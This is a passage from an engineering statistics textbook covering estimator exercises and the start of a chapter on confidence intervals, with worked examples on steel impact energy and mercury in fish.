7-68. A collection of n randomly selected parts is measured twice by an operator using a gauge. Let X_i and Y_i denote the measured values for the ith part. Assume that these two random variables are independent and normally distributed and that both have true mean μ_i and variance σ^2.

(a) Show that the maximum likelihood estimator of σ^2 is $\hat{\sigma}^2 = (1/4n)\sum_{i=1}^{n}(X_i - Y_i)^2$.

(b) Show that $\hat{\sigma}^2$ is a biased estimator for $\hat{\sigma}^2$. What happens to the bias as n becomes large?

(c) Find an unbiased estimator for σ^2.

7-69. **Consistent Estimator.** Another way to measure the closeness of an estimator $\hat{\Theta}$ to the parameter θ is in terms of consistency. If $\hat{\Theta}_n$ is an estimator of θ based on a random sample of n observations, $\hat{\Theta}_n$ is consistent for θ if

$$\lim_{n \to \infty} P(|\hat{\Theta}_n - \theta| < \epsilon) = 1$$

Thus, consistency is a large-sample property, describing the limiting behavior of $\hat{\Theta}_n$ as n tends to infinity. It is usually difficult to prove consistency using the above

MIND-EXPANDING EXERCISES

definition, although it can be done from other approaches. To illustrate, show that $\overline{X}$ is a consistent estimator of μ (when $\sigma^2 < \infty$) by using Chebyshev's inequality from the supplemental material on the Web.

7-70. **Order Statistics.** Let $X_1, X_2, \ldots, X_n$ be a random sample of size n from X, a random variable having distribution function $F(x)$. Rank the elements in order of increasing numerical magnitude, resulting in $X_{(1)}, X_{(2)}, \ldots, X_{(n)}$, where $X_{(1)}$ is the smallest sample element ($X_{(1)} = \min\{X_1, X_2, \ldots, X_n\}$) and $X_{(n)}$ is the largest sample element ($X_{(n)} = \max\{X_1, X_2, \ldots, X_n\}$). $X_{(i)}$ is called the ith order statistic. Often the distribution of some of the order statistics is of interest, particularly the minimum and maximum sample values $X_{(1)}$ and $X_{(n)}$, respectively.

(a) Prove that the cumulative distribution functions of these two order statistics, denoted respectively by $F_{X_{(1)}}(t)$ and $F_{X_{(n)}}(t)$, are

$$F_{X_{(1)}}(t) = 1 - [1 - F(t)]^n$$
$$F_{X_{(n)}}(t) = [F(t)]^n$$

(b) Prove that if X is continuous with probability density function $f(x)$, the probability distributions of $X_{(1)}$ and $X_{(n)}$ are

$$f_{X_{(1)}}(t) = n[1 - F(t)]^{n-1} f(t)$$
$$f_{X_{(n)}}(t) = n[F(t)]^{n-1} f(t)$$

(c) Let $X_1, X_2, \ldots, X_n$ be a random sample of a Bernoulli random variable with parameter p. Show that

$$P(X_{(n)} = 1) = 1 - (1 - p)^n$$
$$P(X_{(1)} = 0) = 1 - p^n$$

(d) Let $X_1, X_2, \ldots, X_n$ be a random sample of a normal random variable with mean μ and variance σ^2. Derive the probability density functions of $X_{(1)}$ and $X_{(n)}$.

(e) Let $X_1, X_2, \ldots, X_n$ be a random sample of an exponential random variable of parameter λ. Derive the cumulative distribution functions and probability density functions for $X_{(1)}$ and $X_{(n)}$.

7-71. Let $X_1, X_2, \ldots, X_n$ be a random sample of a continuous random variable with cumulative distribution function $F(x)$. Find

$$E[F(X_{(n)})]$$

and

$$E[F(X_{(1)})]$$

7-72. Let X be a random variable with mean μ and variance σ^2, and let $X_1, X_2, \ldots, X_n$ be a random sample of size n from X. Show that the statistic $V = k\sum_{i=1}^{n-1}(X_{i+1} - X_i)^2$ is an unbiased estimator for σ^2 for an appropriate choice for the constant k. Find this value for k.

7-73. When the population has a normal distribution, the estimator

$$\hat{\sigma} = \text{median}\,(|X_1 - \overline{X}|, |X_2 - \overline{X}|, \cdots, |X_n - \overline{X}|)/0.6745$$

is sometimes used to estimate the population standard deviation. This estimator is more robust to outliers than the usual sample standard deviation and usually does not differ much from S when there are no unusual observations.

(a) Calculate $\hat{\sigma}$ and S for the data 10, 12, 9, 14, 18, 15, and 16.

(b) Replace the first observation in the sample (10) with 50 and recalculate both S and $\hat{\sigma}$.

7-74. **Censored Data.** A common problem in industry is life testing of components and systems. In this problem, we will assume that lifetime has an exponential distribution with parameter λ, so $\hat{\mu} = 1/\hat{\lambda} = \overline{X}$ is an unbiased estimate of μ. When n components are tested until failure and the data $X_1, X_2, \ldots, X_n$ represent actual lifetimes, we have a complete sample, and $\overline{X}$ is indeed an unbiased estimator of μ. However, in many situations, the components are only left under test until $r < n$ failures have occurred. Let Y_1 be the time of the first failure, Y_2 be the time of the second failure, ..., and Y_r be the time of the last failure. This type of test results in **censored data.** There are $n - r$ units still running when the test is terminated. The total accumulated test time at termination is

$$T_r = \sum_{i=1}^{r} Y_i + (n - r)Y_r$$

(a) Show that $\hat{\mu} = T_r/r$ is an unbiased estimator for μ. [*Hint:* You will need to use the memoryless property of the exponential distribution and the results of Exercise 7-70 for the distribution of the minimum of a sample from an exponential distribution with parameter λ.]

(b) It can be shown that $V(T_r/r) = 1/(\lambda^2 r)$. How does this compare to $V(\overline{X})$ in the uncensored experiment?

IMPORTANT TERMS AND CONCEPTS

Bayes estimator
Bias in parameter estimation
Central limit theorem
Estimator versus estimate
Likelihood function
Maximum likelihood estimator
Mean square error of an estimator
Minimum variance unbiased estimator
Moment estimator
Normal distribution as the sampling distribution of a sample mean
Normal distribution as the sampling distribution of the difference in two sample means
Parameter estimation
Point estimator
Population or distribution moments
Posterior distribution
Prior distribution
Sample moments
Sampling distribution
Standard error and estimated standard error of an estimator
Statistic
Statistical inference
Unbiased estimator

8

© Steve Rosset/iStockphoto

Statistical Intervals for a Single Sample

INTRODUCTION

Engineers are often involved in estimating parameters. For example, there is an ASTM Standard E23 that defines a technique called the Charpy V-notch method for notched bar impact testing of metallic materials. The impact energy is often used to determine if the material experiences a ductile-to-brittle transition as the temperature decreases. Suppose that you have tested a sample of 10 specimens of a particular material with this procedure. You know that you can use the sample average $\overline{X}$ to estimate the true mean impact energy μ. However, we also know that the true mean impact energy is unlikely to be exactly equal to your estimate. Reporting the results of your test as a single number is unappealing, because there is nothing inherent in $\overline{X}$ that provides any information about how close it is to μ. Your estimate could be very close, or it could be considerably far from the true mean. A way to avoid this is to report the estimate in terms of a range of plausible values called a confidence interval. A confidence interval always specifies a confidence level, usually 90%, 95%, or 99%, which is a measure of the reliability of the procedure. So if a 95% confidence interval on the impact energy based on the data from your 10 specimens has a lower limit of 63.84J and an upper limit of 65.08J, then we can say that at the 95% level of confidence any value of mean impact energy between 63.84 J and 65.08 J is a plausible value. By reliability, we mean that if we repeated this experiment over and over again, 95% of all samples would produce a confidence interval that contains the true mean impact energy, and only 5% of the time would the interval be in error. In this chapter you will learn how to construct confidence intervals and other useful types of statistical intervals for many important types of problem situations.

CHAPTER OUTLINE

8-1 CONFIDENCE INTERVAL ON THE MEAN OF A NORMAL DISTRIBUTION, VARIANCE KNOWN

- 8-1.1 Development of the Confidence Interval and Its Basic Properties
- 8-1.2 Choice of Sample Size
- 8-1.3 One-Sided Confidence Bounds
- 8-1.4 General Method to Derive a Confidence Interval
- 8-1.5 Large-Sample Confidence Interval for μ

8-2 CONFIDENCE INTERVAL ON THE MEAN OF A NORMAL DISTRIBUTION, VARIANCE UNKNOWN

- 8-2.1 *t* Distribution
- 8-2.2 *t* Confidence Interval on μ

8-3 CONFIDENCE INTERVAL ON THE VARIANCE AND STANDARD DEVIATION OF A NORMAL DISTRIBUTION

8-4 LARGE-SAMPLE CONFIDENCE INTERVAL FOR A POPULATION PROPORTION

8-5 GUIDELINES FOR CONSTRUCTING CONFIDENCE INTERVALS

8-6 TOLERANCE AND PREDICTION INTERVALS

- 8-6.1 Prediction Interval for a Future Observation
- 8-6.2 Tolerance Interval for a Normal Distribution

LEARNING OBJECTIVES

After careful study of this chapter, you should be able to do the following:

1. **Construct confidence intervals on the mean of a normal distribution, using either the normal distribution or the *t* distribution method**
2. **Construct confidence intervals on the variance and standard deviation of a normal distribution**
3. **Construct confidence intervals on a population proportion**
4. **Use a general method for constructing an approximate confidence interval on a parameter**
5. **Construct prediction intervals for a future observation**
6. **Construct a tolerance interval for a normal population**
7. **Explain the three types of interval estimates: confidence intervals, prediction intervals, and tolerance intervals**

In the previous chapter we illustrated how a point estimate of a parameter can be estimated from sample data. However, it is important to understand how good is the estimate obtained. For example, suppose that we estimate the mean viscosity of a chemical product to be $\hat{\mu} = \bar{x} = 1000$. Now because of sampling variability, it is almost never the case that the true mean μ is exactly equal to the estimate $\bar{x}$. The point estimate says nothing about how close $\hat{\mu}$ is to μ. Is the process mean likely to be between 900 and 1100? Or is it likely to be between 990 and 1010? The answer to these questions affects our decisions regarding this process. Bounds that represent an interval of plausible values for a parameter are an example of an interval estimate. Surprisingly, it is easy to determine such intervals in many cases, and the same data that provided the point estimate are typically used.

An interval estimate for a population parameter is called a **confidence interval.** Information about the precision of estimation is conveyed by the length of the interval. A short interval implies precise estimation. We cannot be certain that the interval contains the true, unknown population parameter—we only use a sample from the full population to compute

the point estimate and the interval. However, the confidence interval is constructed so that we have high confidence that it does contain the unknown population parameter. Confidence intervals are widely used in engineering and the sciences.

A **tolerance interval** is another important type of interval estimate. For example, the chemical product viscosity data might be assumed to be normally distributed. We might like to calculate limits that bound 95% of the viscosity values. For a normal distribution, we know that 95% of the distribution is in the interval

$$\mu - 1.96\sigma, \mu + 1.96\sigma$$

However, this is not a useful tolerance interval because the parameters μ and σ are unknown. Point estimates such as $\bar{x}$ and s can be used in the above equation for μ and σ. However, we need to account for the potential error in each point estimate to form a tolerance interval for the distribution. The result is an interval of the form

$$\bar{x} - ks, \bar{x} + ks$$

where k is an appropriate constant (that is larger than 1.96 to account for the estimation error). As in the case of a confidence interval, it is not certain that the tolerance interval bounds 95% of the distribution, but the interval is constructed so that we have high confidence that it does. Tolerance intervals are widely used and, as we will subsequently see, they are easy to calculate for normal distributions.

Confidence and tolerance intervals bound unknown elements of a distribution. In this chapter you will learn to appreciate the value of these intervals. A **prediction interval** provides bounds on one (or more) **future observations** from the population. For example, a prediction interval could be used to bound a single, new measurement of viscosity—another useful interval. With a large sample size, the prediction interval for normally distributed data tends to the tolerance interval, but for more modest sample sizes the prediction and tolerance intervals are different.

Keep the purpose of the three types of interval estimates clear:

- A confidence interval bounds population or distribution parameters (such as the mean viscosity).
- A tolerance interval bounds a selected proportion of a distribution.
- A prediction interval bounds future observations from the population or distribution.

8-1 CONFIDENCE INTERVAL ON THE MEAN OF A NORMAL DISTRIBUTION, VARIANCE KNOWN

The basic ideas of a confidence interval (CI) are most easily understood by initially considering a simple situation. Suppose that we have a normal population with unknown mean μ and known variance σ^2. This is a somewhat unrealistic scenario because typically both the mean and variance are unknown. However, in subsequent sections we will present confidence intervals for more general situations.

8-1.1 Development of the Confidence Interval and Its Basic Properties

Suppose that $X_1, X_2, \ldots, X_n$ is a random sample from a normal distribution with unknown mean μ and known variance σ^2. From the results of Chapter 5 we know that the sample mean

$\overline{X}$ is normally distributed with mean μ and variance σ^2/n. We may **standardize** $\overline{X}$ by subtracting the mean and dividing by the standard deviation, which results in the variable

$$Z = \frac{\overline{X} - \mu}{\sigma/\sqrt{n}} \tag{8-1}$$

The random variable Z has a standard normal distribution.

A **confidence interval** estimate for μ is an interval of the form $l \le \mu \le u$, where the end-points l and u are computed from the sample data. Because different samples will produce different values of l and u, these end-points are values of random variables L and U, respectively. Suppose that we can determine values of L and U such that the following probability statement is true:

$$P\{L \le \mu \le U\} = 1 - \alpha \tag{8-2}$$

where $0 \le \alpha \le 1$. There is a probability of $1 - \alpha$ of selecting a sample for which the CI will contain the true value of μ. Once we have selected the sample, so that $X_1 = x_1, X_2 = x_2, \ldots, X_n = x_n$, and computed l and u, the resulting **confidence interval** for μ is

$$l \le \mu \le u \tag{8-3}$$

The end-points or bounds l and u are called the **lower-** and **upper-confidence limits,** respectively, and $1 - \alpha$ is called the **confidence coefficient.**

In our problem situation, because $Z = (\overline{X} - \mu)/(\sigma/\sqrt{n})$ has a standard normal distribution, we may write

$$P\left\{-z_{\alpha/2} \le \frac{\overline{X} - \mu}{\sigma/\sqrt{n}} \le z_{\alpha/2}\right\} = 1 - \alpha$$

Now manipulate the quantities inside the brackets by (1) multiplying through by $\sigma/\sqrt{n}$, (2) subtracting $\overline{X}$ from each term, and (3) multiplying through by -1. This results in

$$P\left\{\overline{X} - z_{\alpha/2}\frac{\sigma}{\sqrt{n}} \le \mu \le \overline{X} + z_{\alpha/2}\frac{\sigma}{\sqrt{n}}\right\} = 1 - \alpha \tag{8-4}$$

From consideration of Equation 8-4, the lower and upper limits of the inequalities in Equation 8-4 are the lower- and upper-confidence limits L and U, respectively. This leads to the following definition.

Confidence Interval on the Mean, Variance Known

If $\bar{x}$ is the sample mean of a random sample of size n from a normal population with known variance σ^2, a $100(1 - \alpha)\%$ CI on μ is given by

$$\bar{x} - z_{\alpha/2}\sigma/\sqrt{n} \le \mu \le \bar{x} + z_{\alpha/2}\sigma/\sqrt{n} \tag{8-5}$$

where $z_{\alpha/2}$ is the upper $100\alpha/2$ percentage point of the standard normal distribution.

EXAMPLE 8-1 Metallic Material Transition

ASTM Standard E23 defines standard test methods for notched bar impact testing of metallic materials. The Charpy V-notch (CVN) technique measures impact energy and is often used to determine whether or not a material experiences a ductile-to-brittle transition with decreasing temperature. Ten measurements of impact energy (J) on specimens of A238 steel cut at 60ºC are as follows: 64.1, 64.7, 64.5, 64.6, 64.5, 64.3, 64.6, 64.8, 64.2, and 64.3. Assume that impact energy is normally distributed with $\sigma = 1J$. We want to find a 95% CI for μ, the mean impact energy. The required quantities are $z_{\alpha/2} = z_{0.025} = 1.96$, $n = 10$, $\sigma = 1$, and $\bar{x} = 64.46$. The resulting 95% CI is found from Equation 8-5 as follows:

$$\bar{x} - z_{\alpha/2}\frac{\sigma}{\sqrt{n}} \le \mu \le \bar{x} + z_{\alpha/2}\frac{\sigma}{\sqrt{n}}$$

$$64.46 - 1.96\frac{1}{\sqrt{10}} \le \mu \le 64.46 + 1.96\frac{1}{\sqrt{10}}$$

$$63.84 \le \mu \le 65.08$$

Practical Interpretation: Based on the sample data, a range of highly plausible values for mean impact energy for A238 steel at 60°C is $63.84J \le \mu \le 65.08J$.

Interpreting a Confidence Interval

How does one interpret a confidence interval? In the impact energy estimation problem in Example 8-1, the 95% CI is $63.84 \le \mu \le 65.08$, so it is tempting to conclude that μ is within this interval with probability 0.95. However, with a little reflection, it's easy to see that this cannot be correct; the true value of μ is unknown and the statement $63.84 \le \mu \le 65.08$ is either correct (true with probability 1) or incorrect (false with probability 1). The correct interpretation lies in the realization that a CI is a *random interval* because in the probability statement defining the end-points of the interval (Equation 8-2), L and U are random variables. Consequently, the correct interpretation of a $100(1 - \alpha)\%$ CI depends on the relative frequency view of probability. Specifically, if an infinite number of random samples are collected and a $100(1 - \alpha)\%$ confidence interval for μ is computed from each sample, $100(1 - \alpha)\%$ of these intervals will contain the true value of μ.

The situation is illustrated in Fig. 8-1, which shows several $100(1 - \alpha)\%$ confidence intervals for the mean μ of a normal distribution. The dots at the center of the intervals indicate the point estimate of μ (that is, $\bar{x}$). Notice that one of the intervals fails to contain the true value of μ. If this were a 95% confidence interval, in the long run only 5% of the intervals would fail to contain μ.

Now in practice, we obtain only one random sample and calculate one confidence interval. Since this interval either will or will not contain the true value of μ, it is not reasonable to attach a probability level to this specific event. The appropriate statement is that the observed interval $[l, u]$ brackets the true value of μ with **confidence** $100(1 - \alpha)$. This statement has a frequency interpretation; that is, we don't know if the statement is true for this specific sample, but the *method* used to obtain the interval $[l, u]$ yields correct statements $100(1 - \alpha)\%$ of the time.

Figure 8-1 Repeated construction of a confidence interval for μ.

Confidence Level and Precision of Estimation

Notice in Example 8-1 that our choice of the 95% level of confidence was essentially arbitrary. What would have happened if we had chosen a higher level of confidence, say, 99%? In fact, doesn't it seem reasonable that we would want the higher level of confidence? At $\alpha = 0.01$, we find $z_{\alpha/2} = z_{0.01/2} = z_{0.005} = 2.58$, while for $\alpha = 0.05$, $z_{0.025} = 1.96$. Thus, the **length** of the 95% confidence interval is

$$2(1.96\sigma/\sqrt{n}) = 3.92\sigma/\sqrt{n}$$

whereas the length of the 99% CI is

$$2(2.58\sigma/\sqrt{n}) = 5.16\sigma/\sqrt{n}$$

Thus, the 99% CI is longer than the 95% CI. This is why we have a higher level of confidence in the 99% confidence interval. Generally, for a fixed sample size n and standard deviation σ, the higher the confidence level, the longer the resulting CI.

The length of a confidence interval is a measure of the **precision** of estimation. From the preceeding discussion, we see that precision is inversely related to the confidence level. It is desirable to obtain a confidence interval that is short enough for decision-making purposes and that also has adequate confidence. One way to achieve this is by choosing the sample size n to be large enough to give a CI of specified length or precision with prescribed confidence.

8-1.2 Choice of Sample Size

The precision of the confidence interval in Equation 8-5 is $2z_{\alpha/2}\sigma/\sqrt{n}$. This means that in using $\bar{x}$ to estimate μ, the error $E = |\bar{x} - \mu|$ is less than or equal to $z_{\alpha/2}\sigma/\sqrt{n}$ with confidence $100(1 - \alpha)$. This is shown graphically in Fig. 8-2. In situations where the sample size can be controlled, we can choose n so that we are $100(1 - \alpha)$ percent confident that the error in estimating μ is less than a specified bound on the error E. The appropriate sample size is found by choosing n such that $z_{\alpha/2}\sigma/\sqrt{n} = E$. Solving this equation gives the following formula for n.

Sample Size for Specified Error on the Mean, Variance Known

If $\bar{x}$ is used as an estimate of μ, we can be $100(1 - \alpha)\%$ confident that the error $|\bar{x} - \mu|$ will not exceed a specified amount E when the sample size is

$$n = \left(\frac{z_{\alpha/2}\sigma}{E}\right)^2 \tag{8-6}$$

If the right-hand side of Equation 8-6 is not an integer, it must be rounded up. This will ensure that the level of confidence does not fall below $100(1 - \alpha)\%$. Notice that $2E$ is the length of the resulting confidence interval.

Figure 8-2 Error in estimating μ with $\bar{x}$.

EXAMPLE 8-2 Metallic Material Transition

To illustrate the use of this procedure, consider the CVN test described in Example 8-1, and suppose that we wanted to determine how many specimens must be tested to ensure that the 95% CI on μ for A238 steel cut at 60°C has a length of at most $1.0J$. Since the bound on error in estimation E is one-half of the length of the CI, to determine n we use Equation 8-6 with $E = 0.5$, $\sigma = 1$, and $z_{\alpha/2} = 1.96$. The required sample size is 16,

$$n = \left(\frac{z_{\alpha/2}\sigma}{E}\right)^2 = \left[\frac{(1.96)1}{0.5}\right]^2 = 15.37$$

and because n must be an integer, the required sample size is $n = 16$.

Notice the general relationship between sample size, desired length of the confidence interval $2E$, confidence level $100(1 - \alpha)$, and standard deviation σ:

- As the desired length of the interval $2E$ decreases, the required sample size n increases for a fixed value of σ and specified confidence.
- As σ increases, the required sample size n increases for a fixed desired length $2E$ and specified confidence.
- As the level of confidence increases, the required sample size n increases for fixed desired length $2E$ and standard deviation σ.

8-1.3 One-Sided Confidence Bounds

The confidence interval in Equation 8-5 gives both a lower confidence bound and an upper confidence bound for μ. Thus, it provides a two-sided CI. It is also possible to obtain one-sided confidence bounds for μ by setting either $l = -\infty$ or $u = \infty$ and replacing $z_{\alpha/2}$ by z_α.

One-Sided Confidence Bounds on the Mean, Variance Known

A $100(1 - \alpha)\%$ **upper-confidence bound** for μ is

$$\mu \le u = \bar{x} + z_\alpha \sigma/\sqrt{n} \tag{8-7}$$

and a $100(1 - \alpha)\%$ **lower-confidence bound** for μ is

$$\bar{x} - z_\alpha \sigma/\sqrt{n} = l \le \mu \tag{8-8}$$

EXAMPLE 8-3 One-Sided Confidence Bound

The same data for impact testing from Example 8-1 are used to construct a lower, one-sided 95% confidence interval for the mean impact energy. Recall that $\bar{x} = 64.46$, $\sigma = 1J$, and $n = 10$. The interval is

$$\bar{x} - z_\alpha \frac{\sigma}{\sqrt{n}} \le \mu$$

$$64.46 - 1.64 \frac{1}{\sqrt{10}} \le \mu$$

$$63.94 \le \mu$$

Practical Interpretation: The lower limit for the two-sided interval in Example 8-1 was 63.84. Because $z_\alpha < z_{\alpha/2}$, the lower limit of a one-sided interval is always greater than the lower limit of a two-sided interval of equal confidence. The one-sided interval does not bound μ from above so that it still achieves 95% confidence with a slightly greater lower limit. If our interest is only in the lower limit for μ, then the one-sided interval is preferred because it provides equal confidence with a greater lower limit. Similarly, a one-sided upper limit is always less than a two-sided upper limit of equal confidence.

8-1.4 General Method to Derive a Confidence Interval

It is easy to give a general method for finding a confidence interval for an unknown parameter θ. Let $X_1, X_2, \ldots, X_n$ be a random sample of n observations. Suppose we can find a statistic $g(X_1, X_2, \ldots, X_n; \theta)$ with the following properties:

1. $g(X_1, X_2, \ldots, X_n; \theta)$ depends on both the sample and θ.
2. The probability distribution of $g(X_1, X_2, \ldots, X_n; \theta)$ does not depend on θ or any other unknown parameter.

In the case considered in this section, the parameter $\theta = \mu$. The random variable $g(X_1, X_2, \ldots, X_n; \mu) = (\overline{X} - \mu)/(\sigma/\sqrt{n})$ and satisfies both conditions above; it depends on the sample and on μ, and it has a standard normal distribution since σ is known. Now one must find constants C_L and C_U so that

$$P[C_L \le g(X_1, X_2, \ldots, X_n; \theta) \le C_U] = 1 - \alpha \tag{8-9}$$

Because of property 2, C_L and C_U do not depend on θ. In our example, $C_L = -z_{\alpha/2}$ and $C_U = z_{\alpha/2}$. Finally, you must manipulate the inequalities in the probability statement so that

$$P[L(X_1, X_2, \ldots, X_n) \le \theta \le U(X_1, X_2, \ldots, X_n)] = 1 - \alpha \tag{8-10}$$

This gives $L(X_1, X_2, \ldots, X_n)$ and $U(X_1, X_2, \ldots, X_n)$ as the lower and upper confidence limits defining the $100(1 - \alpha)\%$ confidence interval for θ. The quantity $g(X_1, X_2, \ldots, X_n; \theta)$ is often called a "pivotal quantity" because we pivot on this quantity in Equation 8-9 to produce Equation 8-10. In our example, we manipulated the pivotal quantity $(\overline{X} - \mu)/(\sigma/\sqrt{n})$ to obtain $L(X_1, X_2, \ldots, X_n) = \overline{X} - z_{\alpha/2}\sigma/\sqrt{n}$ and $U(X_1, X_2, \ldots, X_n) = \overline{X} + z_{\alpha/2}\sigma/\sqrt{n}$.

8-1.5 Large-Sample Confidence Interval for μ

We have assumed that the population distribution is normal with unknown mean and known standard deviation σ. We now present a **large-sample CI** for μ that does not require these assumptions. Let $X_1, X_2, \ldots, X_n$ be a random sample from a population with unknown mean μ and variance σ^2. Now if the sample size n is large, the central limit theorem implies that $\overline{X}$ has approximately a normal distribution with mean μ and variance σ^2/n. Therefore, $Z = (\overline{X} - \mu)/(\sigma/\sqrt{n})$ has approximately a standard normal distribution. This ratio could be used as a pivotal quantity and manipulated as in Section 8-1.1 to produce an approximate CI for μ. However, the standard deviation σ is unknown. It turns out that when n is large, replacing σ by the sample standard deviation S has little effect on the distribution of Z. This leads to the following useful result.

Large-Sample Confidence Interval on the Mean

When n is large, the quantity

$$\frac{\overline{X} - \mu}{S/\sqrt{n}}$$

has an approximate standard normal distribution. Consequently,

$$\overline{x} - z_{\alpha/2}\frac{s}{\sqrt{n}} \le \mu \le \overline{x} + z_{\alpha/2}\frac{s}{\sqrt{n}} \tag{8-11}$$

is a **large sample confidence interval** for μ, with confidence level of approximately $100(1 - \alpha)\%$.

Equation 8-11 holds regardless of the shape of the population distribution. Generally n should be at least 40 to use this result reliably. The central limit theorem generally holds for $n \geq 30$, but the larger sample size is recommended here because replacing σ by S in Z results in additional variability.

EXAMPLE 8-4 **Mercury Contamination**

An article in the 1993 volume of the *Transactions of the American Fisheries Society* reports the results of a study to investigate the mercury contamination in largemouth bass. A sample of fish was selected from 53 Florida lakes, and mercury concentration in the muscle tissue, was measured (ppm). The mercury concentration values are

1.230	0.490	0.490	1.080	0.590	0.280	0.180	0.100	0.940
1.330	0.190	1.160	0.980	0.340	0.340	0.190	0.210	0.400
0.040	0.830	0.050	0.630	0.340	0.750	0.040	0.860	0.430
0.044	0.810	0.150	0.560	0.840	0.870	0.490	0.520	0.250
1.200	0.710	0.190	0.410	0.500	0.560	1.100	0.650	0.270
0.270	0.500	0.770	0.730	0.340	0.170	0.160	0.270	

The summary statistics from Minitab are displayed below:

Descriptive Statistics: Concentration

Variable	N	Mean	Median	TrMean	StDev	SE Mean
Concentration	53	0.5250	0.4900	0.5094	0.3486	0.0479
Variable	Minimum	Maximum	Q1	Q3		
Concentration	0.0400	1.3300	0.2300	0.7900		

Figure 8-3(a) and (b) presents the histogram and normal probability plot of the mercury concentration data. Both plots indicate that the distribution of mercury concentration is not normal and is positively skewed. We want to find an approximate 95% CI on μ. Because $n > 40$, the assumption of normality is not necessary to use Equation 8-11. The required quantities are $n = 53$, $\bar{x} = 0.5250$, $s = 0.3486$, and $z_{0.025} = 1.96$. The approximate 95% CI on μ is

$$\bar{x} - z_{0.025}\frac{s}{\sqrt{n}} \leq \mu \leq \bar{x} + z_{0.025}\frac{s}{\sqrt{n}}$$

$$0.5250 - 1.96\frac{0.3486}{\sqrt{53}} \leq \mu \leq 0.5250 + 1.96\frac{0.3486}{\sqrt{53}}$$

$$0.4311 \leq \mu \leq 0.6189$$

Practical Interpretation: This interval is fairly wide because there is a lot of variability in the mercury concentration measurements. A larger sample size would have produced a shorter interval.

Figure 8-3 Mercury concentration in largemouth bass. (a) Histogram. (b) Normal probability plot.

Large-Sample Confidence Interval for a Parameter

The large-sample confidence interval for μ in Equation 8-11 is a special case of a more general result. Suppose that θ is a parameter of a probability distribution, and let $\hat{\Theta}$ be an estimator of θ. If $\hat{\Theta}$ (1) has an approximate normal distribution, (2) is approximately unbiased for θ, and (3) has standard deviation $\sigma_{\hat{\Theta}}$ that can be estimated from the sample data, then the quantity $(\hat{\Theta} - \theta)/\sigma_{\hat{\Theta}}$ has an approximate standard normal distribution. Then a large-sample approximate CI for θ is given by

Large-Sample Approximate Confidence Interval

$$\hat{\theta} - z_{\alpha/2}\sigma_{\hat{\Theta}} \le \theta \le \hat{\theta} + z_{\alpha/2}\sigma_{\hat{\Theta}} \tag{8-12}$$

Maximum likelihood estimators usually satisfy the three conditions listed above, so Equation 8-12 is often used when $\hat{\Theta}$ is the maximum likelihood estimator of θ. Finally, note that Equation 8-12 can be used even when $\sigma_{\hat{\Theta}}$ is a function of other unknown parameters (or of θ). Essentially, all one does is to use the sample data to compute estimates of the unknown parameters and substitute those estimates into the expression for $\sigma_{\hat{\Theta}}$.

EXERCISES FOR SECTION 8-1

8-1. For a normal population with known variance σ^2, answer the following questions:
(a) What is the confidence level for the interval $\bar{x} - 2.14\sigma/\sqrt{n} \le \mu \le \bar{x} + 2.14\sigma/\sqrt{n}$?
(b) What is the confidence level for the interval $\bar{x} - 2.49\sigma/\sqrt{n} \le \mu \le \bar{x} + 2.49\sigma/\sqrt{n}$?
(c) What is the confidence level for the interval $\bar{x} - 1.85\sigma/\sqrt{n} \le \mu \le \bar{x} + 1.85\sigma/\sqrt{n}$?

8-2. For a normal population with known variance σ^2:
(a) What value of $z_{\alpha/2}$ in Equation 8-5 gives 98% confidence?
(b) What value of $z_{\alpha/2}$ in Equation 8-5 gives 80% confidence?
(c) What value of $z_{\alpha/2}$ in Equation 8-5 gives 75% confidence?

8-3. Consider the one-sided confidence interval expressions for a mean of a normal population.
(a) What value of z_α would result in a 90% CI?
(b) What value of z_α would result in a 95% CI?
(c) What value of z_α would result in a 99% CI?

8-4. A confidence interval estimate is desired for the gain in a circuit on a semiconductor device. Assume that gain is normally distributed with standard deviation $\sigma = 20$.
(a) Find a 95% CI for μ when $n = 10$ and $\bar{x} = 1000$.
(b) Find a 95% CI for μ when $n = 25$ and $\bar{x} = 1000$.
(c) Find a 99% CI for μ when $n = 10$ and $\bar{x} = 1000$.
(d) Find a 99% CI for μ when $n = 25$ and $\bar{x} = 1000$.
(e) How does the length of the CIs computed above change with the changes in sample size and confidence level?

8-5. A random sample has been taken from a normal distribution and the following confidence intervals constructed using the same data: (38.02, 61.98) and (39.95, 60.05)
(a) What is the value of the sample mean?
(b) One of these intervals is a 95% CI and the other is a 90% CI. Which one is the 95% CI and why?

8-6. A random sample has been taken from a normal distribution and the following confidence intervals constructed using the same data: (37.53, 49.87) and (35.59, 51.81)
(*a*) What is the value of the sample mean?
(*b*) One of these intervals is a 99% CI and the other is a 95% CI. Which one is the 95% CI and why?

8-7. Consider the gain estimation problem in Exercise 8-4.
(a) How large must n be if the length of the 95% CI is to be 40?
(b) How large must n be if the length of the 99% CI is to be 40?

8-8. Following are two confidence interval estimates of the mean μ of the cycles to failure of an automotive door latch mechanism (the test was conducted at an elevated stress level to accelerate the failure).

$$3124.9 \le \mu \le 3215.7 \qquad 3110.5 \le \mu \le 3230.1$$

(a) What is the value of the sample mean cycles to failure?
(b) The confidence level for one of these CIs is 95% and the confidence level for the other is 99%. Both CIs are calculated from the same sample data. Which is the 95% CI? Explain why.

8-9. Suppose that $n = 100$ random samples of water from a freshwater lake were taken and the calcium concentration (milligrams per liter) measured. A 95% CI on the mean calcium concentration is $0.49 \le \mu \le 0.82$.
(a) Would a 99% CI calculated from the same sample data be longer or shorter?

(b) Consider the following statement: There is a 95% chance that μ is between 0.49 and 0.82. Is this statement correct? Explain your answer.

(c) Consider the following statement: If $n = 100$ random samples of water from the lake were taken and the 95% CI on μ computed, and this process were repeated 1000 times, 950 of the CIs would contain the true value of μ. Is this statement correct? Explain your answer.

8-10. Past experience has indicated that the breaking strength of yarn used in manufacturing drapery material is normally distributed and that $\sigma = 2$ psi. A random sample of nine specimens is tested, and the average breaking strength is found to be 98 psi. Find a 95% two-sided confidence interval on the true mean breaking strength.

8-11. The yield of a chemical process is being studied. From previous experience, yield is known to be normally distributed and $\sigma = 3$. The past five days of plant operation have resulted in the following percent yields: 91.6, 88.75, 90.8, 89.95, and 91.3. Find a 95% two-sided confidence interval on the true mean yield.

8-12. The diameter of holes for a cable harness is known to have a normal distribution with $\sigma = 0.01$ inch. A random sample of size 10 yields an average diameter of 1.5045 inch. Find a 99% two-sided confidence interval on the mean hole diameter.

8-13. A manufacturer produces piston rings for an automobile engine. It is known that ring diameter is normally distributed with $\sigma = 0.001$ millimeters. A random sample of 15 rings has a mean diameter of $\bar{x} = 74.036$ millimeters.

(a) Construct a 99% two-sided confidence interval on the mean piston ring diameter.

